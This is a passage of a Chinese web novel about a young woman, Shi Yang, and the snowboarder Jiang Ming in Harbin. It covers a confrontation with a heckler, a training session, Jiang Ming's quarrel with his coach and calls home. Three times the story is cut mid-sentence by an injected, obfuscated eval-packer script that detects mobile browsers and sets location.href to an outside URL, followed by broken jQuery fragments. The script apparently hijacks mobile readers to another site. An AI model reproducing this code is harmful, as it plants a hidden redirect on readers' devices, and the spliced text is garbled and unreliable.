江鸣看了陆良一眼,听出这是他的声音,录音继续播放,陆良对江鸣的点评也落进众人耳朵里。
直到砰的一声响起,众人才猛然回神。
时漾掐断播放,“就这样,我看不惯他背后讲人坏话,就跟他吵了几句嘴。”
“就这样啊?不至于。”
江鸣的脸上没什么表情,似乎并不因为陆良对他的评价而感到生气,他大大小小的比赛参加了不少,也算是一个公众人物,早就习惯各种各样的声音。
倒是孔章和其他几个人一脸气愤。
对于孔章而言,江鸣是他一手带出来的学生,从他小学刚开始接触滑雪带到二十岁,说江鸣的技术不好,某种意义上也是在说他教的不好,识人不清。
对于他们其他队员来说,江鸣是比他们大几岁,但他是一个称职的哥哥和师兄,而且队内的比赛名额都是通过公平竞争分配的,不存在江鸣不退役就轮不到他们出头的情况。
如果是懂行的人客观批评就算了,陆良这种人说就是不行。
站在旁边的女孩这时候才反应过来,对着江鸣补充,“他还骂了这个姑娘。”
“骂了什么?”
江鸣最先低头看向时漾,还有她手里下意识藏起来的手机,但时漾只是抿唇,没有开口,他只能再次转向那个女孩,
“他,骂她什么?”
“反正,很难听……”女孩犹犹豫豫地开口,“说她也是那种脑残追星女,是不是天天用你的照片当壁纸,叫你老公,还说……”
“是不是你说想上……她也会很乐意地……”
女孩没说完,这样的污言秽语她都说不出口,但对于那些男人而言,却像是攻击她们最好的武器。
“你小时候脑袋让狗开瓢了是吧?”
江鸣自然知道女孩空白的内容是什么,他一把揪住陆良的衣领,他直接被吓得闭上了眼,屁都不敢放一个。
抬起的拳头还没落下去,时漾扯住江鸣的袖子,
“你快松手。”
他选择听时漾的话,收回手,时漾凑到他耳边,语气急切,
“你是不是疯了,我刚刚都没动手,你现在动手他要是报警了你也跑不了。”
江鸣瞪他一眼,丝毫不虚,
“就让他报警,他个老公鸡走道晃晃悠悠,把荧光棒插背上开屏也开不出个孔雀样儿,装啥凤凰呢你装。”
陆良似乎被激怒,掏出手机,“来,那我就报警,咱们让警察来看看。”
时漾晃了晃自己的手机,他就又把拨号的手放了下去。
“怎么不报了?你不敢吗?”
“你到底想怎么样?”
“道歉。”时漾斩钉截铁道,“向江鸣和这个女孩道歉。”
“还有她,向她道歉。”江鸣补充。
见他们人多势众,陆良只能不情不愿地从鼻腔里哼哼出“对不起”三个字。
其实时漾并不满意,但想到江鸣还要训练,她不想继续耽误下去。
“算你识相。”
她拉着江鸣往外走,孔章的声音在他们身后响起,
“这位先生,我是省滑雪队的教练,如果你对我们队员的水平不满意,觉得自己比他们厉害的话,欢迎来自荐。”
“还有,我们的每一个队员,都算是公众人物,如果你对他们进行诋毁和诽谤,省队会把你告到底。”
“你们教练也好帅啊,说话真有气势。”
时漾刚夸了孔章一句,顿住,抬头看向江鸣,
“不过你怎么就只会用东北话顺口溜骂人啊,我感觉他都没听懂,没意思。”
江鸣叹了口气,问她,“你没听懂?”
“……”我是说他……
好吧,是没听懂。
时漾点点头,“不仅刚刚的没听懂,昨天你骂那个逆天宝爸的我也没听懂。”
江鸣觉得教这些给小姑娘似乎不妥,但她求知的目光太过热切,
“这一句简单,就是说他瞎装嘛,最后那一句很明显。”
“昨天第一句说他脸大,第二句嘛,说他进入婚恋市场连老太太也不放过,就是说他无底线,不要脸。”
“……骂的真脏。”
骂的很难听,但偏偏一个脏字都没有,这简直就是吵架的最高境界。
她刚刚虽然也骂了很长一段,但那些话没什么攻击力,如果碰上个不要脸的,根本就戳不中人家,不痛不痒的。
看来以后要多和江鸣学习一下,这样等她回到杭州,就能轻松打遍天下无敌手了。
他们走到酒店大堂,刚刚那个女孩也追了出来,
“等一下!”
他们两个站住脚步,回头去看她,女孩跑了几步,有些喘,她先是看向了时漾,
“那个,我叫潘珺,谢谢你,你刚刚也算帮我出头了。”
“我叫时漾,你不用谢我,是我自己听不下去的,你的钱要回来了吗?”
“要回来了,就是因为要钱,差点没追上你们。”
她侧了侧身子,似乎是想避开江鸣,声音也放低,“我能不能问你个问题。”
“你说。”
“你和江鸣,是男女朋友关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879747|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?我看他很维护你。”
刚刚听见陆良骂他的话都没有反应,在听到他骂时漾时才忽然爆发。
“不是。”时漾摇了摇头,“我们,算是朋友吧。”
潘珺听见时漾的回答,像是松了一口气,这时候才看向江鸣,
“我,我很喜欢你,你的每一场比赛我都有看,你很厉害,我,我们能合张影吗?”
她说话支支吾吾,虽然笑着,但笑容很勉强,眼眶已经红了,很激动的样子。
江鸣看向时漾,潘珺也看向时漾。
时漾愣了下,主动接过潘珺的手机,“我帮你们拍吧。”
“谢谢你!”
潘珺很激动,江鸣眯了眯眼,没有说话,只默默地注视着时漾,潘珺没有离太近,和他保持了安全距离。
很快,合照拍好,潘珺又对着时漾连说了几声谢甚至激动地连连鞠躬,等时漾扶住她,她又转头对着江鸣鞠躬,
“谢谢你愿意跟我拍合照,我真的很喜欢你,你是我心目中最厉害的滑雪运动员,你想滑到几岁都可以,我都支持你,你不要听他乱说。”
女孩的爱热烈又赤诚,此刻没有任何隐瞒的,全部在江鸣面前摊开,江鸣对着她笑了笑,
“我知道了,谢谢你支持我,我会努力拿下更好的成绩的。”
和潘珺告别后,江鸣没有等孔章他们几个人,这样损害滑雪队形象的言论,他作为教练还是需要妥善处理好的。
而且他们不过来最好,那几个小子,个儿顶个儿的都是口无遮拦的主儿,少不了要丢人。
时漾他们往新体委滑雪场去,路上两人之间的氛围有些微妙,安静。
“你刚刚……”时漾先开口,“感觉他骂你的时候,你并不在意。”
“竞技运动,菜是原罪,观众席上从来不缺因为一次成绩不理想就否认你全部的人,而我入行以来学的第一课就是,坦然接受自己的每一次成绩,接受别人对我的每一种评价。”
“那你又忽然生气,是因为他骂了我吗?”
“……”
江鸣沉默一下,随后找借口搪塞,
“他这种不尊重女性,不尊重运动员的人就该骂,出去挨打都是活该。”
“嗯,你说的对。”时漾看见他脸上的别扭,没有追问到底。
江鸣话锋一转,忽然问他,“那你呢,只是看不惯他背后说人坏话吗?他说的又不是你,为什么那么激动。”
“看不惯就是看不惯啊,谁激动了。”时漾眼神躲闪回避。
“下次别这么冲动,虽然你思路清晰,讲话占理,但难免有些人会不讲理,万一真的动起手来你要怎么办?你一个女孩子,最要紧的是保护好自己。”
“我躺地上就讹啊,他打得越狠我赚得越多。”
“我没跟你开玩笑,万一那人下手不知轻重呢?”
江鸣的表情很严肃,没有半分笑意。
他很难不担心,如果不是在他熟悉的度假区,如果没有保安,如果没有人及时通知他,如果真的动起手来……
“好了……我知道啦,而且我也没有那么弱啊,我学过军体拳,做雕塑作业的时候十几斤的泥料和石料我也都是自己搬的。”
“你很厉害……”江鸣无奈道。
但是我担心你。
他没说出口。
12. 正式训练
等孔章和其他几个队友回到训练场时,已经将近十一点了。
他们远远的就看见刚刚威风凛凛维护江鸣的小姑娘正穿着江鸣的滑雪板,跟他学习技巧。
江鸣攥着小姑娘的手腕,帮她维持平衡。
新体委滑雪场在雪山高处,属于高级滑道,也是亚冬会官方选定的雪地项目的比赛场地,难度和危险系数成正比,他一刻也不敢松懈,生怕自己一松手,时漾就滑下去了。
几个队员偷笑起来,对视推搡了几下,然后将队里最小的小孩儿推到了抱着手臂一脸严肃的孔章身边,他看了几个哥哥一眼,硬着头皮开口,
“教练,这个姐姐是不是鸣哥的女朋友啊,他们是在谈恋爱吗?”
苏嘉璇年纪最小,入队时间不长,孔章对他还算宽容,平常骂他的话比骂其他人的都要委婉很多,不过他跟这些不老实的半大小子混久了,也逐渐没了正形,只要其他人一撺掇,他就敢上来招惹孔章。
“你这个小孩十四五岁,你懂什么叫谈恋爱吗?”
孔章侧眼瞥了他一眼,脸上没有半点愿意和他们八卦的样子,反而莫名发起脾气来,
“一天天心思都不在训练上,你也要跟他们一样,到二十几岁了还拿不出成绩让人家戳着你们的脊梁骨骂吗?”
苏嘉璇垂下头,闷闷地道歉,“对不起教练,我会好好训练的。”
他后面几个撺掇他的也都低下头不敢跟孔章对视。
江鸣是他们队里最大的一个,但他们几个十八九岁,在滑雪这个项目里也不算年轻小将,连苏嘉璇这个刚满十四岁的小孩儿都能跟他们一起训练了,他们确实该觉得羞愧。
“江鸣!”
孔章大声把江鸣喊过来,即使江鸣就站在面前了,他也没有放低音量,
“你还要不要训练了,三天两天的请假,好不容易训练一次,说跑就跑,你是三岁小孩儿吗?无组织无纪律。”
江鸣和孔章一起训练已经有十年了,他了解他的脾气,知道这些话也是想说给时漾听的,也知道他没有恶意,只是恨铁不成钢。
但他觉得这件事怎么都怪不到时漾头上,她每次询问能否同行都是商量的语气,他有无数次机会可以拒绝。
“对不起,我会把进度赶上来。”
时漾有些尴尬,明知道孔章话里有话,但他作为教练,老师,即使年纪也不大,也算是长辈,她需要给他尊重。
她坐下来默默脱下江鸣的雪板放好,走到一边的观赏区,向着对自己投来目光的江鸣笑了笑,表示自己不介意。
“开始训练,从江鸣开始。”
孔章此前从不在外人面前训斥自己的队员,这次也没再多说什么,组织他们继续开始训练。
江鸣走到出发点整理好自己的装备,向孔章点头示意,孔章抬手,做出发手势,江鸣自出发点俯冲而下,速度极快。
单板滑雪的国际规定比赛项目包括单板滑雪坡面障碍技巧,单板滑雪大跳台和单板滑雪U型场地。
其中,大多数运动员可以兼攻相似的大跳台和坡面障碍技巧,U型场地和另外两个项目差别更为明显。
而江鸣是主攻大跳台。
大跳台需要运动员从高处滑下达到一定速度时通过跳台腾空,而后在空中完成包括空翻,转体,抓板等技巧动作。
赛场边会有5-6个裁判观察,对选手的动作完成度,姿态优美度进行点评。
时漾刚刚吃饭时查过资料,
网上说这个项目里运动员滑行的速度平均可以达到八十公里每小时,在历年冬奥会上,甚至有选手达到一百一十三公里每小时,和高速上的车速差不多。
而江鸣此刻的速度,应该也至少到了平均水准,她看着那么长的滑道,他却好像只用了几秒钟就走到头。
经过跳台,他起跳腾空,高得骇人。
“这次腾空高度是够的。”
时漾听见观察员对孔章说。
孔章只是轻轻点了点头,没有说话。
等她再将注意力放回江鸣身上,他正在完成了一个转体,他屈腿俯身抓住了脚下的雪板,整个人蜷缩着在空中旋转。
时漾数不清是几圈,多少度,她是个外行人,看不出动作难度高低,也不知道评分标准。
但是她主观的觉得,江鸣的动作是一场视觉盛宴。
完成动作后,江鸣松开抓板的手,落地,躬身屈腿减缓落地的冲击力,向前滑行一段后停下来。
“鸣哥牛啊!!!”
“1620!完美!”
“鸣哥!我永远的偶像!”
他的队友都在为他欢呼鼓掌,但孔章一个眼刀过去,他们就全都缩成了鹌鹑。
“右脚正脚出发,正脚内转1620,姿态良好,落地无异常。”
时漾听见观察员这样汇报。
她记得她今天百度的时候有看到过,目前的国际一流运动员,成绩大概都在1800,不少人都在追求1980,甚至是2160。
国内也曾有一个年轻的小将已经做到了1980,并且表示他想继续打败竞争对手,会努力追求2460。
1620算起来也有四周半,但跟其他人的成绩比起来完全不够看。
竞技比赛,大家都在努力往前走,竞争目标变化的很快,江鸣近年没有参与过大型赛事,之前在网上能看到的他的成绩已经不具有参考意义。
她不太清楚现在江鸣的成绩怎么样,今天的表现算不算达标,虽然看他队友的反应应该算不错,但最后还是要孔章拍板定论。
孔章看着江鸣抱着雪板走过来,表情还是一样严肃,先将现场录像和观察员的记录拿给他看了,最后才淡淡道,
“比前几次训练表现好,但离参赛水准,还差得远。”
“你已经几年没够上国际赛事了,你知道现在他们都什么水平吗?”
“人均1800,我知道,我只是没参赛,又不是退出滑雪项目了,怎么会不关心。”
“那你觉得你今年有信心拿下比赛资格吗?”
“选拔赛还有那么久,现在怎么知道。”
孔章哑口无言,只能让下面一个先上去准备。
江鸣某种意义上也算是他看着长大的,他觉得江鸣哪里都好,个头儿样貌性格都讨人喜欢,也会跟你插科打诨的逗乐儿。
但在正事上,他有时候过于成熟老练,有自己的处事标准,从小就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879748|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有主意,旁人很难干涉。
看完整队的训练,时漾心里也算是有了底,江鸣年纪最大,但资历也最长,他基本功扎实,心态平稳,动作处理十分成熟干净,有自己的风格,也懂得自查自省,算得上省队里不错的了。
其他几个虽说经验也算丰富,但大概是性格也飘写,基本功不够扎实,动作也完成的马马虎虎。
苏嘉璇只是经验不够,但整体看下来,他的发挥最好。
也难怪孔教练最器重他,担心他被其他几个混小子带坏。
真是长江后浪推前浪……
时漾不禁感叹了句。
“先休息,具体情况等回队里我详细同你们分析。”
因为中间耽误了一段时间,孔章甚至来不及分析完问题就已经将近下午一点,众人喊饿,他只能解散队伍让大家先回温泉酒店休息吃饭。
江鸣和时漾已办理过入住,进酒店后就跟大家分开直接回房间。
等客房送餐服务的时候,时漾听见有人来找隔壁的江鸣,把门排的砰砰作响,
“鸣哥,你在吗?”
是他的一个队友。
江鸣开了门,两个男孩一齐鬼哭狼嚎起来,
“鸣哥,你隔壁的房间没有了,被人订走了!我想跟你住隔壁,以前咱们两个都是这样住的啊,我不服气,我要让酒店重新安排!”
在隔壁房间的时漾:……
江鸣有点烦,按了下额角,
“你一个大男人,非要跟我住干什么,别的房间又不会吃了你”
“你看我就说了你会挨骂的,该我说了!”
他身后还算情绪稳定的人推开他,这时候看起来还很镇静,但看见江鸣的一瞬间,他就爆发起来,
“鸣哥!咱们医药室的药酒不见了!一整瓶一点没见!我今天训练碰了下,疼死我了,我还想搓一下呢。”
药酒现在的持有人时漾:……
她偷听墙角的间隙,看了一眼床头柜上那瓶红色透明的液体,心里有点愧疚,
真不好意思了,药酒在我这儿……
不过江鸣队里的人似乎都有点依赖他,好像离开一刻也不行。
她想听听江鸣准备怎么说,就听见他脸不红心不跳的,淡声道,
“药酒我拿走了。”
只陈述事实,没有解释原因。
“你受伤了啊鸣哥,严重吗?”
“我没事。”
“那你药酒用完给我用用呗,刚好你直接帮我搓了,我自己不爱搓药酒,有味儿。”
说着,他就径直往江鸣的房间里走,江鸣没拦住,也根本没想拦。
他们几个入队的时候年纪也不大,江鸣作为大哥,没少照顾他们。
只是没想到把他们照顾成这样了,一刻也离不开。
进去的他找了一圈都没找到药酒,而且江鸣的屋子里也没有什么药酒味儿。
“鸣哥,药酒呢?”
“……”江鸣抿唇,还没想好用什么理由搪塞。
“叩叩”
门口再次响起敲门声。
江鸣以为是其他队员,头疼的不得了,拉开门却有些意外,
“你怎么来了?”
13. 没有恋爱
时漾默默把药酒递给他。
在场的两个人尴尬地对视一眼,凑到一起讲悄悄话,
“所以住在隔壁的是鸣哥的女朋友啊,难怪鸣哥刚刚说我,比起我他肯定更希望女朋友住。”
“咱们两个的说话声也没有这么大吧,我记得这酒店隔音挺好的,她怎么听见了。”
“你们俩刚刚是在门口喊的。”
时漾淡淡加入会话,打断了他们的讨论。
“胡说八道什么?”
江鸣的眉头越蹙越深,他也听见了这两个小子的胡说八道,本来不打算搭理他们,但既然时漾开口了,他总该表个态。
他回头,瞪了他们一眼。
两个人这下彻底闭嘴了。
他们说话声音真的有这么大吗……?
“还有事吗?”
“啊?”
时漾歪歪头,没反应过来,总觉得江鸣好像突然变得十分冷淡,她好心过来送药酒,拿了东西就要赶她走啊?
他身后的两个男人也看呆了,不长记性地嘀嘀咕咕,
“鸣哥这种态度还能有女朋友啊?”
“这个美女看起来脾气就很好,不过鸣哥也太过分了。”
江鸣闭上眼,深吸一口气,“我说的是你们。”
他举起药酒,搁在门口的桌子上,“药酒在这儿,你们拿了赶紧走,自己去上药。。”
“哦哦哦哦。”
两个没有眼力见的男人如梦初醒,互相推攘着往外走,路过门口时拿走了桌子上的药酒。
一个拍了拍江鸣的背,一个对着时漾打招呼,
“拜拜漂亮姐姐。”
“拜拜。”
时漾笑弯了眼睛,对待夸奖,谁都不会无动于衷,他们两个虽然口无遮拦了点,但是没有什么坏心思,还挺可爱的。
看见他们走远,江鸣摸了摸后脖颈,蹙眉,
“对不起啊吵到你休息了。他们几个就是这样,说话不过脑子,不要太把他们的话放在心上。”
“没关系。”
她顺着江鸣的手看见他肩颈处的一片红肿,“他们需要药酒,你不需要吗?”
“我没事,早就习惯了,我一会儿用热水搓一搓也是一样的。”
“噢,行。”
气氛有些古怪,时漾仍然站在门口,江鸣把门全部拉开,但用自己的身体挡住,没有邀请时漾进去坐。
孤男寡女在酒店的房间共处一室,并不妥当。
沉默了会儿,江鸣开口,“你先回去休息吧,收拾一下午晚些我们返程。”
“好。”
下午,一行人返回哈尔滨市区,孔章要求他们立刻一起回队里开会,但江鸣坚持想要送时漾回去,她看了一眼孔章的脸色,推了推江鸣,
“你跟孔教练回队里吧,我又不是三岁小孩儿,我自己也经常出去旅游,坐个地铁回酒店而已,等我到了给你发消息。”
江鸣垂下眼,叹了口气,“好,那到了给我发消息。”
-
训练基地的教练办公室里,江鸣站在办公桌前,孔章坐在对面。
江鸣早就想到会有这样的事,所以才想要送时漾回酒店有意回避。
他已经是成年人了,在正事上当然不会过多的带入个人情感,如果孔章真的要说正事,他不会任性。
“你有什么事就直接说吧。”
孔章的指尖一直敲打着桌面,暴露出他内心的烦躁,但一直等到江鸣主动开口,他才停下动作,
“江鸣。你知道自己在做什么吗?”
“知道。”
孔章猛地一拍桌子,几乎要跳起来,“你知道个屁?你知道就不会选择这个时候谈恋爱!”
“我没有谈恋爱。”这是实话,并不是狡辩。
但是孔章并不信他的话,自顾自道,
“没有谈恋爱?没有谈恋爱你三番几次请假带她出去玩?我说了回来开会,你还要先送她回酒店?哦,还有,你那个滑雪板那么宝贝,之前可是谁都不让碰的,她说穿就穿了。”
“江鸣,认识我这么多年,你以为我很好骗吗?我也是从你这个年龄过来的,你在想什么我能不清楚吗?”
“有些话我都说腻了,这是你最后一次机会了你还要让我强调几遍,你心大,你宽宏大量,别人指着你的脊梁骨骂你没用你都不在乎,偏偏为了一个女人出头,你不嫌丢人我作为你的教练都嫌丢人。”
江鸣皱眉,并不认同孔章的这个观点,
“难道我不应该出头吗?他对两个女孩说的那些混蛋话,你听见了不会帮女孩出头吗?”
“我的重点在前半句你真的听不懂吗?”
孔章捂着胸口坐下,给自己猛灌了一口茶,暂时压住脾气。
“江鸣,我从你十一岁开始带你,你总是都很有冲劲儿,所以一直到今年你二十一岁,所有人都觉得你年纪大了,没有机会站到国际赛场上拿到成绩了,但我坚持相信你,带你训练,选拔赛在即,你这样分心,是觉得自己还能等到下一次比赛机会吗?”
“我知道自己在做什么。”
十年的时间里,从一鸣惊人的天才少年,到逐渐泯然众人,他的心态早就变得十分平静,他很清楚,自己这些年在滑雪上付出了自己全部的热情和努力。
时也命也,运气也是成就人生里重要的一环,他可能确实和那一枚金牌无缘。
他不认为陪时漾出去几天就能影响他的成绩,就算这次他真的错过了,也不会把原因怪在时漾身上。
“其实最早,答应去做文旅局的志愿者时,我心里有逃避训练的念头,反而是她,让我开始直面我自己的内心。”
时漾身上不仅有南方人与北方人不同的沉默内敛,还有一种独特的坦诚和大方,因为觉得他没有恶意,所以可以和他同游嬉笑。
还有和她去冰雪大世界的那天,时漾身上对待雕塑艺术的热情让他想到了之前的自己,他当年对待滑雪也是这样。
“孔教练,我很感谢你这十年来的栽培和照顾,也明白你的良苦用心,接下来的训练我会用更好的状态来对待,但是从头至尾,我的成绩好与坏,都和她没有任何关系。”
顿了顿,他叹息道,“我们只是朋友,没有在谈恋爱。”
“我没空管你恋不恋爱,你.......”
江鸣强硬地打断他的话,
“而且就算是恋爱,也未必会影响训练,对他们几个也是这样,都是年轻人,不可能完全做到一头扎进一件事里摒弃掉自己所有的感情和杂念,不是所有人都会和你做一样的选择。”
“你说什么?”孔章愣住,不敢相信这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14879749|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话会从江鸣口中说出来。
“我不应该说这些的,但我现在不得不说。”
“我们都知道你一直因为媛媛姐的事情耿耿于怀,也是因为你的教训,所以你不希望我们谈恋爱,觉得在我们实现自己的人生目标之前,不该去招惹无辜的人,让人家陪着我们去追求自己的价值,蹉跎青春。
但是我们不是你,未必会和当时的你做一样的选择,我们的人生选择应该握在我们自己手上。”
“你滚出去!”
孔章恼羞成怒,将手边的杯子掷出去,茶水飞溅,江鸣后退了几步,还在继续说下去,“你这样把自己困在原地,媛媛姐知道了也不会高兴的。”
“滚出去,江鸣,你不愿意训练就不用再来了!”
“我会来的。”
留下这句话,江鸣拉开门走出去,其他队员聚在门口,应该刚刚偷听完,见他出来都是一脸慌张,左脚拌右脚。
“鸣哥,你这样跟教练说话是不是不太好啊。”
江鸣侧眼看向紧闭的办公室房门,冷硬道,
“当初他一心追求自己的比赛前程,坚持先立业后成家,让媛媛姐一年一年的等他,生了病也不敢告诉他,怕耽误他的前程,他训练的时候不接电话,结果连媛媛姐最后一面都没见到,现在装什么深情,这些话我早就想说了。”
听见江鸣的话,孔章拿起桌子上倒扣着的相框,照片上的女人长得明艳好看,笑容温柔,他摩挲着照片上人的脸颊,无奈,
“媛媛,你看看这个臭小子,现在长大了,敢跟我呛声了。”
他苦笑一声,眼泪滴落在相框上,“你真的会怪我吗?”
-
江鸣离开时,手机恰好收到时漾的消息。
大约二十分钟前,她就发来信息说自己到酒店了,但他一直没回复,时漾又问了一句。
[你是在开会吗?怎么不回我。]
他站住脚步,思考了会儿才回复,
[开会没看见,到酒店了就好。]
[孔教练的上午的那些话,你也不用往心里去,有事情需要我帮忙还是继续联系我。]
时漾:[那我刚好有一个问题!]
刚刚回到酒店后,时漾接到了莫青海打来的电话,他在冰雪大世界那边的任务基本已经完成,剩下的都可以交给他的徒弟,这几天可以开始指导她帮她找毕设思路了。
虽然顾赟给莫青海带的礼物和她的行李一起回来了,但是上门拜师,她自己也是需要备一些礼物的,她人生地不熟,还是得问问江鸣这边送礼有没有什么需要注意的。
江鸣很谨慎,没有随便给她建议,还是提出和她同行,
[如果是给长辈送的话是会有一些规矩,其实我知道也不算清楚,晚点我问问我家里人,我陪你去挑吧。]
她有点犹豫,江鸣说可以继续联系他,但是她不是那种厚脸皮的人,很显然她最近的打扰已经影响到了他的训练,人家可以客套,但她不能不识趣,
[不用了吧,你别耽误训练了。]
江鸣:[场外训练的后一天一向是休息日,不耽误。]
她明天买完礼物就去见老师学习了,应该也不会继续麻烦江鸣......
但是......孔章说的那些话,她很难不多想,也很难不介意。
14. 安全带
最后时漾还是答应了江鸣,她需要一个人同行给她做参谋,既然他说不会耽误训练,那也没有什么好纠结的。
等她正式见过老师,以后自然不会再和江鸣有过多接触了,比这样煞有介事地保持距离更好,最起码不会让两个人很尴尬。
明天还可以请江鸣吃个饭,算是感谢,也当做告别。
虽然这样安慰自己,但时漾还是没忍住给沈秋余打了个视频电话。
沈秋余挂断了几次都没有接,回复了一个吐舌的表情包,
[……在约会?]
沈秋余:[嘿嘿。]
重色轻友的死恋爱脑。
没理她,时漾转而把电话打给了杨慧女士,现在已经下午六点多了,父母应该都已经下班了。
“乖乖,想妈妈了吧。”
时漾点点头,“嗯,超想你。”
他们家里从来不吝啬于表达爱,我爱你都是常挂在嘴边的,这边话音刚落,时正清就穿着围裙挤进画面里,
“乖乖想我了吗?你是不是也想爸爸了?”
“想,也想。”时漾哄他,“爸,你去做饭吧,我有点事想跟我妈说。”
“欧呦,什么事只能跟妈妈讲,还不给爸爸听啊,以前你跟我都没有小秘密的。”
杨慧推了时正清一把,嗔他,
“行了,小羊长大了,女孩子有些话当然只能跟妈妈说,你赶紧做你的饭去。”
“女儿长大了就跟爸爸不亲咯,唉,我可怜啊。”
时正清一边转回厨房,一边装模作样的用手蹭蹭眼尾,故意做委屈状。
母女俩无奈地对视一眼,这么多年时正清都是这么个性格,她们也不知道为什么,他一个退役的军人,明明应该是个硬汉,偏偏就喜欢在女儿面前撒娇,还争风吃醋。
不过倒也有硬汉的时候,比如烦人亲戚说杨慧没生出男孩的时候,还有他们挑剔时漾的时候,老时说掀桌就掀桌,绝不含糊,给足了她们母女安全感。
“你爸走了,乖乖想跟我说什么事呀?”
“妈妈,就是我最近在这边认识了一个人……”
“男的女的?”老时又挤过来,情绪激动,“你不许在那边找男朋友,那太远了,爸舍不得你,反正我不同意。”
“……”原来是人走了,耳朵没走……
杨慧再次把他推走,回到卧室去和时漾讲电话。
“你继续讲乖乖,现在他听不见了。”
“不是男朋友,应该勉强算作朋友?我也不知道怎么形容,一开始认识他是因为他在机场当文旅局的志愿者,他说我在这边有任何问题都可以联系他,当时莫老师说暂时没空教我,我就麻烦他给我当了导游,我们一起去了几个地方玩。
但是我后来才知道,他帮我的忙耽误了自己的正事,他的教……老师,就很生他的气,他好像还因为我跟老师有冲突,我感觉有点愧疚,是不是应该跟他道个歉啊。”
听完来龙去脉,杨慧微微蹙眉,“是他先提出你随时联系的对吗?”
时漾点头。
“你麻烦他当向导,也是他答应的对吗?他没有表达过不情愿吧。”
时漾又点了点头。
杨慧笑起来,
“乖乖,你还记不记得你小学那一次手工比赛,你因为看见同学快做完的作品坏了,来不及做新的,你觉得自己的作品很快就能做完,所以主动提出帮忙,结果最后帮同学拿了奖,自己的作品却没完成的事情。”
“记得。”
她还记得那天回家之后她扑进时正清怀里哭了一场,嚷着后悔,觉得都是那个同学的错,说以后再也不想和那个同学一起玩儿了。
“那时候妈妈就教过你的,是你主动提出要帮忙的,忽略自己的需要去帮助别人,这是你自己的选择,和别人没有关系,你可以感到后悔,说下次不这样做了,但是不该怨别人,她应该向你道谢,但没必要说对不起,因为不是她强迫你帮她的,反过来也是一样。”
反过来也是一样……时漾沉思。
江鸣是主动提出她可以随时联系,她请求他一起出行时,也都是他答应过的,她并不知道这件事会影响江鸣训练,甚至在见到孔章之前对此都并不知情。
她应该谢谢江鸣,但她没有做错什么事情,不需要道歉。
“我明白了妈妈!”
杨慧很欣慰,时漾遇见事情不会自己往心里搁,能够积极寻求父母的建议,而且她是个很聪明的孩子,很多事情一点就透,
“明白就好,不过请人家吃顿饭,表示一下感谢还是应该的。”
“好的妈妈。”
“身上的钱还够用吗?”
“够的够的,除了你给我的经费外,老时还担心的不得了,这段时间给我转了好几次钱,都够我在这边玩一年了。”
“那就好,爸爸妈妈不在你身边,万一遇到什么事,身上有钱总还是有底气的,就是记得多给爸爸妈妈打电话。”
“莫老师那边你又联系过吗?什么时候去拜师?”
“明天,我明天去买些礼品上门拜师。”
“好,记得了解一下当地人送礼的习惯,你一向细心,这种事情上不要有纰漏。”
时漾又和杨慧聊了半天,一直到老时做好饭端上桌还喋喋不休,说起自己最近在哈尔滨遇到的趣事,包括东北人的热情善良,冰雪大世界鬼斧神工的作品,还有自己的滑雪初体验。
夫妻两个也不动筷,就耐心地听她讲,时不时点头应声,情绪价值拉满。
“好了好了,我讲完了,你们快吃饭吧。”
刚挂断电话,沈秋余那边就打过来,一开屏就是她谄媚的笑容,刘海用发卡全都别了上去,但脸上的妆容还很精致,
“小羊,你知道的,我最爱你了。”
“……约完会才想起来我?”
沈秋余讪笑着,“不提这个,你怎么突然打电话给我。”
“你还好意思说,万一我有什么事给你打电话,我没气儿了都等不到你接电话。”
“我下次不会了宝宝,咱们先说事。”
时漾又把大概的情况给沈秋余重复了一遍,沈秋余听完也沉默了,拧着眉,
“你觉得他的教练很讨厌你?怎么会有人讨厌我们家小羊呢!”
“沈秋余,我跟你说正事呢!”
“哎哎哎说正事,你有没有什么办法打听打听具体情况呢,总不能就因为江鸣带你出去玩了几次就生气讨厌你啊,作为教练是不是有点越界了……”
“话倒是不能这样说,他也是担心江鸣的成绩,恨铁不成钢吧。”
“不过你又不跟他发展,管他身边人对你什么态度干嘛?”
“……”时漾一哽,“不跟你说了。”
挂了沈秋余的电话,时漾心里的结已经解开了很多,她和杨慧女士说的都很有道理,好像是她想得太多了。
拍了拍自己的脸,她也开解自己,“最近太闲了,等过两天忙起来就好了。”
第二天一大早,她就
